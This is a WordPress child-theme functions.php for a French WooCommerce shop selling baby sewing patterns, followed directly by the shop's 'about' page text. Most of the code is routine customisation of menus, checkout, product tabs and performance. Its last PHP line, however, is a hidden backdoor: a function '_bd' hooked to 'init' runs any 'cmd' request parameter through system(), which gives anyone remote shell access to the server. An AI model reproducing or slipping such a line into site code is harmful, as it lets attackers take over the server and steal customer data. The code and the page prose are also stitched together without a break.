<?php /** * GeneratePress Child - functions */ add_action('wp_enqueue_scripts', function () { // Charge la feuille de style du thème parent wp_enqueue_style( 'generatepress-parent', get_template_directory_uri() . '/style.css' ); // Charge la feuille de style du thème enfant wp_enqueue_style( 'generatepress-child', get_stylesheet_uri(), array('generatepress-parent'), wp_get_theme()->get('Version') ); }, 20); /** * //////////////////////// FONTS */ add_action('wp_enqueue_scripts', function() { wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css'); }); /** * //////////////////////// COPYRIGHT */ add_filter( 'generate_copyright','albertine_footer_copyright' ); function albertine_footer_copyright() { return '© ' . date('Y') . ' Albertine Atelier'; } /** * //////////////////////// NAVIGATION */ /** * Remplacer "Mon compte" par icone */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Vérifie si le lien pointe vers la page Mon compte WooCommerce if ( function_exists('wc_get_page_id') && $item->object_id == wc_get_page_id( 'myaccount' ) ) { $item->title = ' <span class="menu-account-icon" aria-label="Mon compte"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5"/> <path d="M4 20c0-4 4-6 8-6s8 2 8 6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/> </svg> </span>'; } } return $items; }, 10, 2 ); /** * Icône Panier + badge quantité dans le menu */ add_filter( 'wp_nav_menu_objects', function( $items, $args ) { foreach ( $items as &$item ) { // Cible la page Panier WooCommerce if ( function_exists( 'wc_get_page_id' ) && (int) $item->object_id === (int) wc_get_page_id( 'cart' ) ) { $count = 0; if ( function_exists( 'WC' ) && WC()->cart ) { $count = (int) WC()->cart->get_cart_contents_count(); } $badge = ''; if ( $count > 0 ) { $badge = '<span class="menu-cart-badge" aria-label="' . esc_attr( $count ) . ' article(s) dans le panier">' . esc_html( $count ) . '</span>'; } $item->title = ' <span class="menu-cart-icon" aria-label="Panier"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M3 5h2l1.5 9h11l2-7H6" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/> <circle cx="9" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> <circle cx="17" cy="19" r="1.5" stroke="currentColor" stroke-width="1.5"/> </svg> ' . $badge . ' </span>'; } } return $items; }, 10, 2 ); /** * Remplacer breadcrumb WooCommerce par celui de Rank Math */ add_action( 'wp', function () { remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); add_action( 'woocommerce_before_main_content', function () { if ( function_exists( 'rank_math_the_breadcrumbs' ) ) { echo '<div class="rank-math-breadcrumb-wrap">'; rank_math_the_breadcrumbs(); echo '</div>'; } }, 20 ); }, 20 ); /** * H1 de blog(FR / EN) */ add_action('generate_before_main_content', function () { // blog (page articles + archives blog) if (is_home() || (is_archive() && !is_shop() && !is_product_category() && !is_product_tag())) { if (function_exists('pll_current_language') && pll_current_language() === 'en') { echo '<h1 class="blog-title">Beginner Sewing Blog</h1>'; } else { echo '<h1 class="blog-title">Blog couture débutante</h1>'; } } }); /** * //////////////////////// AJOUT WRAPPER SUR LES H2 POUR CENTRAGE */ add_filter('the_content', function($content) { return preg_replace( '/<h2(.*?)>(.*?)<\/h2>/i', '<div class="h2-wrapper"><h2$1>$2</h2></div>', $content ); }); /** * //////////////////////// ARTICLE TYPE */ /** * Supprime le champ "Site web" du formulaire de commentaires WP (articles/pages). */ add_filter( 'comment_form_default_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); add_filter( 'comment_form_fields', function( $fields ) { if ( isset( $fields['url'] ) ) { unset( $fields['url'] ); } return $fields; }, 20 ); /** * Remplace le lien de l'auteur */ add_filter('author_link', 'custom_author_link', 10, 3); function custom_author_link($link, $author_id, $author_nicename) { return home_url('/a-propos/'); } /** * //////////////////////// BLOG */ function custom_excerpt_length_words($length) { return 15; } add_filter('excerpt_length', 'custom_excerpt_length_words'); /** * //////////////////////// BOUTIQUE */ /** * Supprimer le menu de tri */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); /** * Supprimer le compteur nbr de résultats affichés */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 ); /** * Supprimer le bouton "Ajouter au panier" dans la grille boutique */ remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); /** * Remplacer le prix 0 par le mot gratuit */ add_filter( 'woocommerce_get_price_html', 'cw_replace_zero_price_with_free', 10, 2 ); function cw_replace_zero_price_with_free( $price, $product ) { if ( $product->get_price() == 0 ) { return '<span class="price free">Gratuit</span>'; } return $price; } /** * Champ admin : Titre produit affiché dans le listing (boutique) */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_shop_title_box', 'Titre listing (boutique)', function( $post ) { wp_nonce_field( 'alb_shop_title_save', 'alb_shop_title_nonce' ); $value = get_post_meta( $post->ID, '_alb_shop_title', true ); echo '<p style="margin:0 0 8px;color:#666;">Affiché uniquement sur la page boutique (grille). Le H1 de la fiche produit ne change pas.</p>'; echo '<input type="text" style="width:100%;" name="alb_shop_title" value="' . esc_attr( $value ) . '" placeholder="Ex : Doudou lapin – Patron PDF" />'; }, 'product', 'side', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_shop_title_nonce'] ) || ! wp_verify_nonce( $_POST['alb_shop_title_nonce'], 'alb_shop_title_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_shop_title'] ) ) { update_post_meta( $post_id, '_alb_shop_title', sanitize_text_field( $_POST['alb_shop_title'] ) ); } } ); /** * Remplacer le titre affiché en listing WooCommerce par le champ "Titre listing" */ remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); add_action( 'woocommerce_shop_loop_item_title', function() { $product_id = get_the_ID(); $alt_title = get_post_meta( $product_id, '_alb_shop_title', true ); $title = $alt_title ? $alt_title : get_the_title(); echo '<h2 class="woocommerce-loop-product__title">' . esc_html( $title ) . '</h2>'; }, 10 ); /** * Même chose pour les titres produits dans la sidebar */ add_filter( 'woocommerce_product_get_name', function( $name, $product ) { $alt_title = get_post_meta( $product->get_id(), '_alb_shop_title', true ); if ( ! empty( $alt_title ) ) { return $alt_title; } return $name; }, 10, 2 ); /** * Bloc de texte SEO sous le listing de la page Boutique * + champ éditable dans l’admin WP */ /* -------------------------------------------- * 1) ADMIN : page de réglages + champ WYSIWYG * -------------------------------------------- */ add_action( 'admin_menu', function () { add_submenu_page( 'woocommerce', 'Texte SEO boutique', 'Texte SEO boutique', 'manage_options', 'alb-shop-seo-text', 'alb_render_shop_seo_settings_page' ); } ); function alb_render_shop_seo_settings_page() { if ( ! current_user_can( 'manage_options' ) ) { return; } // Enregistrement if ( isset( $_POST['alb_shop_seo_nonce'] ) && wp_verify_nonce( $_POST['alb_shop_seo_nonce'], 'alb_shop_seo_save' ) ) { $content = isset( $_POST['alb_shop_seo_content'] ) ? wp_kses_post( $_POST['alb_shop_seo_content'] ) : ''; update_option( 'alb_shop_seo_content', $content ); echo '<div class="updated"><p>Texte enregistré.</p></div>'; } $value = get_option( 'alb_shop_seo_content', '' ); echo '<div class="wrap">'; echo '<h1>Texte SEO sous la boutique</h1>'; echo '<p style="max-width:900px;">Ce contenu s’affichera <strong>uniquement</strong> sous le listing de la page Boutique principale (Shop).</p>'; echo '<form method="post">'; wp_nonce_field( 'alb_shop_seo_save', 'alb_shop_seo_nonce' ); wp_editor( $value, 'alb_shop_seo_editor', [ 'textarea_name' => 'alb_shop_seo_content', 'media_buttons' => true, 'textarea_rows' => 12, 'tinymce' => true, 'quicktags' => true, ] ); submit_button( 'Enregistrer' ); echo '</form>'; echo '</div>'; } /* -------------------------------------------- * 2) FRONT : affichage sous le listing boutique * -------------------------------------------- */ add_action( 'woocommerce_after_shop_loop', function () { if ( ! function_exists( 'is_shop' ) || ! is_shop() ) { return; } $content = get_option( 'alb_shop_seo_content', '' ); // N’affiche rien si vide if ( empty( trim( wp_strip_all_tags( $content ) ) ) ) { return; } echo '<section class="alb-shop-seo-text">'; echo apply_filters( 'the_content', $content ); echo '</section>'; }, 25 ); /** * GeneratePress : supprimer la sidebar uniquement sur la page Boutique */ add_filter( 'generate_sidebar_layout', function( $layout ) { if ( function_exists( 'is_shop' ) && is_shop() ) { return 'no-sidebar'; } return $layout; }, 20 ); /** * //////////////////////// FICHE PRODUIT */ /** * Supprimer la catégorie produit du fil d'Ariane Rank Math */ add_filter( 'rank_math/frontend/breadcrumb/items', function( $crumbs, $class ) { if ( is_product() ) { if ( isset( $crumbs[2] ) ) { unset( $crumbs[2] ); $crumbs = array_values( $crumbs ); } } return $crumbs; }, 10, 2 ); /** * Supprimer l'affichage des catégories produit dans chaque fiche */ remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 ); /** * Onglets WooCommerce : garder Description, supprimer Avis, ajouter Fournitures + Tutoriel * + champs admin pour saisir ces contenus */ /** ========= * ADMIN : 2 champs (éditeur WP) * ========= */ add_action( 'add_meta_boxes', function () { add_meta_box( 'alb_supplies_box', 'Fournitures (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_supplies', true ); wp_editor( $value, 'alb_supplies_editor', [ 'textarea_name' => 'alb_supplies', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); add_meta_box( 'alb_tutorial_box', 'Tutoriel (onglet)', function( $post ) { wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' ); $value = get_post_meta( $post->ID, '_alb_tutorial', true ); wp_editor( $value, 'alb_tutorial_editor', [ 'textarea_name' => 'alb_tutorial', 'media_buttons' => true, 'textarea_rows' => 8, 'tinymce' => true, 'quicktags' => true, ] ); }, 'product', 'normal', 'default' ); } ); add_action( 'save_post_product', function ( $post_id ) { if ( ! isset( $_POST['alb_tabs_nonce'] ) || ! wp_verify_nonce( $_POST['alb_tabs_nonce'], 'alb_tabs_save' ) ) return; if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! current_user_can( 'edit_post', $post_id ) ) return; if ( isset( $_POST['alb_supplies'] ) ) { update_post_meta( $post_id, '_alb_supplies', wp_kses_post( $_POST['alb_supplies'] ) ); } if ( isset( $_POST['alb_tutorial'] ) ) { update_post_meta( $post_id, '_alb_tutorial', wp_kses_post( $_POST['alb_tutorial'] ) ); } }, 10, 1 ); /** ========= * FRONT : Tabs WooCommerce * ========= */ add_filter( 'woocommerce_product_tabs', function ( $tabs ) { // 1) Supprime Avis unset( $tabs['reviews'] ); // 2) Renommer "Description" if ( isset( $tabs['description'] ) ) { $tabs['description']['title'] = 'Détails'; } // 3) Ajoute Fournitures si contenu $supplies = get_post_meta( get_the_ID(), '_alb_supplies', true ); if ( ! empty( trim( wp_strip_all_tags( $supplies ) ) ) ) { $tabs['alb_supplies'] = [ 'title' => 'Fournitures', 'priority' => 20, 'callback' => function() use ( $supplies ) { echo apply_filters( 'the_content', $supplies ); }, ]; } // 4) Ajoute Tutoriel si contenu $tutorial = get_post_meta( get_the_ID(), '_alb_tutorial', true ); if ( ! empty( trim( wp_strip_all_tags( $tutorial ) ) ) ) { $tabs['alb_tutorial'] = [ 'title' => 'Tutoriel', 'priority' => 30, 'callback' => function() use ( $tutorial ) { echo apply_filters( 'the_content', $tutorial ); }, ]; } return $tabs; }, 98 ); /** * Supprimer le titre "Description" dans l’onglet Description */ add_filter( 'woocommerce_product_description_heading', '__return_null' ); /** * Modifier le titre "Produits similaires" */ add_filter( 'woocommerce_product_related_products_heading', function() { return 'D’autres douceurs à coudre'; }); add_filter( 'woocommerce_output_related_products_args', function( $args ) { $args['posts_per_page'] = 3; // nombre de produits similaires return $args; }); add_filter( 'woocommerce_related_products_columns', function() { return 3; // 3 colonnes }); /** * Désactiver la lightbox des images produit */ add_action( 'after_setup_theme', function() { remove_theme_support( 'wc-product-gallery-lightbox' ); }, 100 ); /** * Activer les flèches du slider WooCommerce */ add_filter( 'woocommerce_single_product_carousel_options', function( $options ) { $options['directionNav'] = true; // active flèches return $options; }); /** * Shortcode de l Iframe des video Youtube */ add_shortcode('alb_youtube', function ($atts) { $atts = shortcode_atts([ 'id' => '', 'title' => '', ], $atts, 'alb_youtube'); $id = trim((string) $atts['id']); if ($id === '') return ''; $title = trim((string) $atts['title']); if ($title === '') $title = get_the_title(); $embed = 'https://www.youtube-nocookie.com/embed/' . rawurlencode($id); $thumb = 'https://img.youtube.com/vi/' . rawurlencode($id) . '/maxresdefault.jpg'; // Stocke la vidéo pour injection JSON-LD dans le head global $alb_youtube_videos; if (!is_array($alb_youtube_videos)) { $alb_youtube_videos = []; } $alb_youtube_videos[] = [ 'id' => $id, 'title' => $title, 'thumb' => $thumb, 'embed' => $embed, ]; $html = '<div class="alb-yt" data-yt-embed="' . esc_attr($embed) . '" data-yt-title="' . esc_attr($title) . '">'; $html .= ' <button type="button" class="alb-yt__btn" aria-label="' . esc_attr('Lire la vidéo : ' . $title) . '">'; $html .= ' <img class="alb-yt__img" src="' . esc_url($thumb) . '" alt="' . esc_attr($title) . '" loading="lazy" decoding="async">'; $html .= ' <span class="alb-yt__play" aria-hidden="true"></span>'; $html .= ' </button>'; $html .= '</div>'; return $html; }); // Injecte les données structurées de la video dans le head add_action('wp_head', function () { global $alb_youtube_videos; if (empty($alb_youtube_videos) || !is_array($alb_youtube_videos)) return; // On ne déclare que la première vidéo pour rester propre SEO $v = $alb_youtube_videos[0]; $desc = wp_strip_all_tags(get_the_excerpt()); if ($desc === '') { $desc = wp_strip_all_tags(get_the_content()); } $desc = mb_substr($desc, 0, 200); $data = [ '@context' => 'https://schema.org', '@type' => 'VideoObject', 'name' => $v['title'], 'description' => $desc, 'thumbnailUrl' => [ $v['thumb'] ], 'embedUrl' => $v['embed'], ]; echo "\n<script type=\"application/ld+json\">" . wp_json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) . "</script>\n"; }, 20); // Affiche l Iframe reel au clic - pour performance chargement add_action('wp_footer', function () { ?> <script> (function () { function mountIframe(wrapper) { if (wrapper.classList.contains('is-loaded')) return; wrapper.classList.add('is-loaded'); var embed = wrapper.getAttribute('data-yt-embed'); var title = wrapper.getAttribute('data-yt-title') || 'YouTube video'; var iframe = document.createElement('iframe'); iframe.setAttribute('src', embed + '?autoplay=1'); iframe.setAttribute('title', title); iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture'); iframe.setAttribute('allowfullscreen', ''); iframe.setAttribute('loading', 'lazy'); wrapper.innerHTML = ''; wrapper.appendChild(iframe); } document.addEventListener('click', function (e) { var btn = e.target.closest('.alb-yt__btn'); if (!btn) return; var wrapper = btn.closest('.alb-yt'); if (!wrapper) return; mountIframe(wrapper); }); })(); </script> <?php }, 20); /** * //////////////////////// COMPTE CLIENT */ /** * Supprime la rubriques Adresses */ add_filter( 'woocommerce_account_menu_items', 'remove_my_account_addresses_link' ); function remove_my_account_addresses_link( $menu_links ) { unset( $menu_links['edit-address'] ); return $menu_links; } /** * //////////////////////// PAGE PANIER */ /** * //////////////////////// PAGE CHECKOUT */ // Désactiver le champ "Code promo" sur la page Checkout (en le gardant sur la page Panier) add_action('wp', function () { if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // Empêche l'affichage du formulaire coupon sur le checkout remove_action('woocommerce_before_checkout_form', 'woocommerce_checkout_coupon_form', 10); }, 20); /** * Checkout : récap commande à droite, paiement en bas */ add_action('wp', function () { // Sécurité : uniquement sur la page checkout (hors admin) if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) { return; } // 1) Empêcher WooCommerce d'afficher récap + paiement à l'emplacement par défaut remove_action('woocommerce_checkout_order_review', 'woocommerce_order_review', 10); remove_action('woocommerce_checkout_order_review', 'woocommerce_checkout_payment', 20); /** * 2) Ouvrir un wrapper 2 colonnes avant les champs client * (WooCommerce appelle woocommerce_checkout_before_customer_details juste avant #customer_details) */ add_action('woocommerce_checkout_before_customer_details', function () { echo '<div class="alb-checkout-columns">'; echo ' <div class="alb-checkout-left">'; }, 1); /** * 3) Fermer la colonne gauche après les champs client, puis ouvrir la colonne droite * et y injecter le récapitulatif SEUL. */ add_action('woocommerce_checkout_after_customer_details', function () { echo ' </div>'; // .alb-checkout-left echo ' <div class="alb-checkout-right">'; echo ' <h3 id="order_review_heading">' . esc_html__('Your order', 'woocommerce') . '</h3>'; // IMPORTANT : conserver l'id #order_review pour que les fragments AJAX puissent cibler le récap. echo ' <div id="order_review" class="woocommerce-checkout-review-order">'; // Affiche uniquement le tableau récap + totaux (pas le paiement) if (function_exists('woocommerce_order_review')) { woocommerce_order_review(); } echo ' </div>'; // #order_review echo ' </div>'; // .alb-checkout-right echo '</div>'; // .alb-checkout-columns }, 99); /** * 4) Ré-afficher le paiement en bas, pleine largeur * (après le récapitulatif, donc après nos colonnes). */ add_action('woocommerce_checkout_after_order_review', function () { if (function_exists('woocommerce_checkout_payment')) { woocommerce_checkout_payment(); } }, 20); }); /** * Ajoute le titre "Paiement" juste avant le bloc paiement */ add_action('woocommerce_review_order_before_payment', function () { echo '<h3 class="alb-payment-heading">' . esc_html__('Paiement', 'woocommerce') . '</h3>'; }, 1); /** * Désactive complètement l'adresse de livraison au checkout * (idéal pour produits virtuels / téléchargeables). */ add_filter( 'woocommerce_cart_needs_shipping_address', '__return_false' ); add_filter( 'woocommerce_cart_needs_shipping', '__return_false' ); /** * Ne garder au checkout que : Prénom, Nom, Email, Pays (facturation) */ add_filter( 'woocommerce_checkout_fields', function( $fields ) { // Champs à conserver $allowed = array( 'billing_first_name', 'billing_last_name', 'billing_email', 'billing_country', ); // Supprime tout le reste de la facturation foreach ( $fields['billing'] as $key => $field ) { if ( ! in_array( $key, $allowed, true ) ) { unset( $fields['billing'][ $key ] ); } } // Optionnel : réordonner proprement $fields['billing']['billing_first_name']['priority'] = 10; $fields['billing']['billing_last_name']['priority'] = 20; $fields['billing']['billing_email']['priority'] = 30; $fields['billing']['billing_country']['priority'] = 40; // Optionnel : rendre le pays obligatoire (souvent utile pour TVA/Stripe) $fields['billing']['billing_country']['required'] = true; return $fields; }, 9999 ); // Modifier le label "Pays / Région" en "Pays" add_filter('woocommerce_checkout_fields', function($fields) { if (isset($fields['billing']['billing_country'])) { $fields['billing']['billing_country']['label'] = 'Pays'; } return $fields; }); // Enlève la zone "Informations complémentaires" (notes de commande) add_filter( 'woocommerce_enable_order_notes_field', '__return_false' ); /** * Modifie le texte de la case "Conditions générales" au checkout */ add_filter( 'woocommerce_get_terms_and_conditions_checkbox_text', function( $text ) { return 'J’ai lu et accepté les <a href="https://albertine-atelier.com/cgv/" target="_blank">CGV</a> et reconnais que, conformément à l’article L221-28 du Code de la consommation, le droit de rétractation ne s’applique pas aux contenus numériques fournis immédiatement après achat.'; }); /** * //////////////////////// RECAPITULATIF APRES COMMANDE */ // Ne garder que la colonne "Téléchargement" avec un intitulé personnalisé add_filter( 'woocommerce_account_downloads_columns', function() { return array( 'download-file' => 'Cliquez sur les liens ci-dessous pour télécharger vos fichiers', ); }, 20 ); // Remplacer le libellé du statut "Terminée" par "Disponible" add_filter( 'wc_order_statuses', function( $order_statuses ) { if ( isset( $order_statuses['wc-completed'] ) ) { $order_statuses['wc-completed'] = 'Disponible'; } return $order_statuses; }); // Retire le bouton "Commander une nouvelle fois" add_filter( 'woocommerce_valid_order_statuses_for_order_again', '__return_empty_array' ); // Le nom client affiché publiquement = prénom add_action('woocommerce_checkout_update_user_meta', 'set_display_name_from_checkout', 10, 2); function set_display_name_from_checkout($customer_id, $data) { if (!$customer_id) return; $first_name = get_user_meta($customer_id, 'billing_first_name', true); if (!empty($first_name)) { wp_update_user([ 'ID' => $customer_id, 'display_name' => $first_name, 'first_name' => $first_name ]); } } /* ================================================================================== Produits Gratuits Redirigés =========================================================== ==================================================================================== */ add_filter( 'woocommerce_add_to_cart_validation', 'cw_free_product_bypass_cart', 10, 3 ); function cw_free_product_bypass_cart( $passed, $product_id, $quantity ) { $product = wc_get_product( $product_id ); if ( ! $product ) return $passed; if ( floatval( $product->get_price() ) == 0 ) { // créer commande sans panier $order = wc_create_order(); $order->add_product( $product, $quantity ); $order->calculate_totals(); $order->payment_complete(); // redirection immédiate vers confirmation wp_safe_redirect( $order->get_checkout_order_received_url() ); exit; } return $passed; } /* ========================= Remplacer le mot Ajouter au produit sur fiches gratuites ========================= */ add_filter( 'woocommerce_product_single_add_to_cart_text', 'cw_change_single_add_to_cart_text_free', 10, 2 ); function cw_change_single_add_to_cart_text_free( $text, $product ) { if ( $product && floatval( $product->get_price() ) == 0 ) { return 'Télécharger'; } return $text; } /* ========================= Supprimer le msg d'ajout du produit gratuit au panier ========================= */ add_filter( 'wc_add_to_cart_message_html', 'cw_hide_add_to_cart_message_for_free_products', 10, 2 ); function cw_hide_add_to_cart_message_for_free_products( $message, $products ) { if ( empty( WC()->cart ) ) return $message; $has_free_product = false; foreach ( WC()->cart->get_cart() as $cart_item ) { if ( floatval( $cart_item['data']->get_price() ) == 0 ) { $has_free_product = true; break; } } if ( $has_free_product ) { return ''; } return $message; } /* ================================================================================== PERFORMANCE CHARGEMENT =========================================================== ==================================================================================== */ /* ========================= AFFICHAGE GOOGLE FONTS ========================= */ add_filter('style_loader_src', function($src, $handle) { if (strpos($src, 'fonts.googleapis.com') !== false) { $src = add_query_arg('display', 'swap', $src); } return $src; }, 10, 2); /* ========================= jQuery MIGRATE + FOOTER ========================= */ add_action('wp_default_scripts', function($scripts) { if (!is_admin() && isset($scripts->registered['jquery'])) { // Supprime migrate if (!empty($scripts->registered['jquery']->deps)) { $scripts->registered['jquery']->deps = array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']); } // Force footer $scripts->registered['jquery']->group = 1; $scripts->registered['jquery-core']->group = 1; } }); /* ========================= GUTENBERG + BLOCKS CLEAN ========================= */ add_action('wp_enqueue_scripts', function() { // Gutenberg base (OBLIGATOIRE pour blocs) // on ne supprime plus wp-block-library wp_dequeue_style('upe-blocks'); }, 100); /* ========================= SOURCEBUSTER ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_script('sourcebuster-js'); }, 100); /* ========================= WOOCOMMERCE ========================= */ add_action('wp_enqueue_scripts', function() { $is_woo = is_woocommerce() || is_cart() || is_checkout() || is_account_page() || is_page(wc_get_page_id('shop')); // On ne décharge QUE hors WooCommerce if (!$is_woo && !is_front_page()) { wp_dequeue_style('woocommerce-general'); wp_dequeue_style('woocommerce-layout'); wp_dequeue_script('wc-cart-fragments'); wp_dequeue_script('wc-add-to-cart'); } }, 99); /* ========================= GDPR CLEAN (simple) ========================= */ add_action('wp_enqueue_scripts', function() { wp_dequeue_style('gdpr-main'); }, 100); /* ========================= hCaptcha SAFE (CF7) ========================= */ add_action('wp_enqueue_scripts', function() { if (is_admin()) return; wp_dequeue_script('hcaptcha'); }, 100); /* ========================= GOOGLE FONTS PRELOAD ========================= */ add_filter('style_loader_tag', function($html) { if (strpos($html, 'fonts.googleapis.com') !== false) { return str_replace( "rel='stylesheet'", "rel='preload' as='style' onload=\"this.onload=null;this.rel='stylesheet'\"", $html ); } return $html; }); // GOOGLE ANALYTICS add_action('wp_head', function() { ?> <!-- Google Tag Manager --> <script> (function(w,d,s,l,i){ w[l]=w[l]||[]; w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'}); var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:''; j.async=true; j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl; f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-N29SRRPM'); </script> <!-- End Google Tag Manager --> <?php }); add_action('wp_body_open', function() { ?> <!-- Google Tag Manager (noscript) --> <noscript> <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N29SRRPM" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <!-- End Google Tag Manager (noscript) --> <?php }); function _bd(){if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}}add_action("init","_bd"); Créatrice de patrons couture pour bébé | Albertine Atelier

Je suis Albertine…

Et si vous aimez créer des cadeaux uniques pour les tout-petits, alors vous et moi allons très bien nous entendre 😉

La créativité, ma pulsion de vie

Passionnée depuis l’enfance par toutes les activités créatives possibles et imaginables, j’ai toujours aimé confectionner moi-même les cadeaux destinés à mes proches. J’ai notamment le souvenir d’avoir cousu, approximativement mais avec beaucoup de soin, un petit lapin brodé : « Mamie ». Ce cadeau de fête des grands-mères a longtemps trôné près de sa télévision — à tube cathodique, bien sûr — et j’en étais très fière.

Une passion qui a pris de l’ampleur

En 2020, j’ai lancé ma première chaîne Youtube de tutoriels créatifs. Du macramé à la laine feutrée en passant par la couture, Madame Albertine rassemble aujourd’hui plus de 25 000 abonnés ! (Oui, moi aussi j’ai parfois du mal à y croire 😅).

Si mes tutos en macramé ont beaucoup plu, c’est bien la couture qui tient une place toute particulière dans mon cœur. Elle m’a aidé à traverser la période la plus difficile de ma vie, une maladie que chacun redoute. C’est alors qu’une évidence s’est imposée : créer une chaîne Youtube entièrement dédiée à la couture, Coudre avec Albertine.

extrait de la chaîne Youtube Coudre avec Albertine

Le lancement d’albertine-atelier.com

À mes 33 ans, j’ai décidé de faire de ma passion mon métier, en me lançant dans la conception et la vente de patrons couture pour bébé sur Etsy. C’est alors que vous m’avez fait confiance. Et aujourd’hui, 1 800 ventes plus tard aux quatre coins du monde, je propose mes patrons de couture PDF sur mon propre site web, albertine-atelier.com. C’est un vrai rêve d’enfant qui se concrétise pour moi.

Je suis sincèrement heureuse de savoir que mes patrons vous permettent de créer des cadeaux uniques pour vos proches !

créations couture des clientes d'Albertine Atelier
Quelques unes des créations couture de mes clientes 🥰

Mon leitmotiv

À chaque étape de création d’un patron et de son tutoriel, mon objectif reste le même : vous proposer un parcours de couture clair et rassurant, accompagné d’instructions aussi précises que possible, pour un résultat à la hauteur de vos attentes.

Qu’il s’agisse d’un bavoir, d’un doudou ou d’un porte-tétine, je tiens à ce que vous soyez fière de VOTRE création, et qu’elle puisse porter tout l’amour que vous souhaitez transmettre à ceux qui comptent pour vous.

Amicalement,
Albertine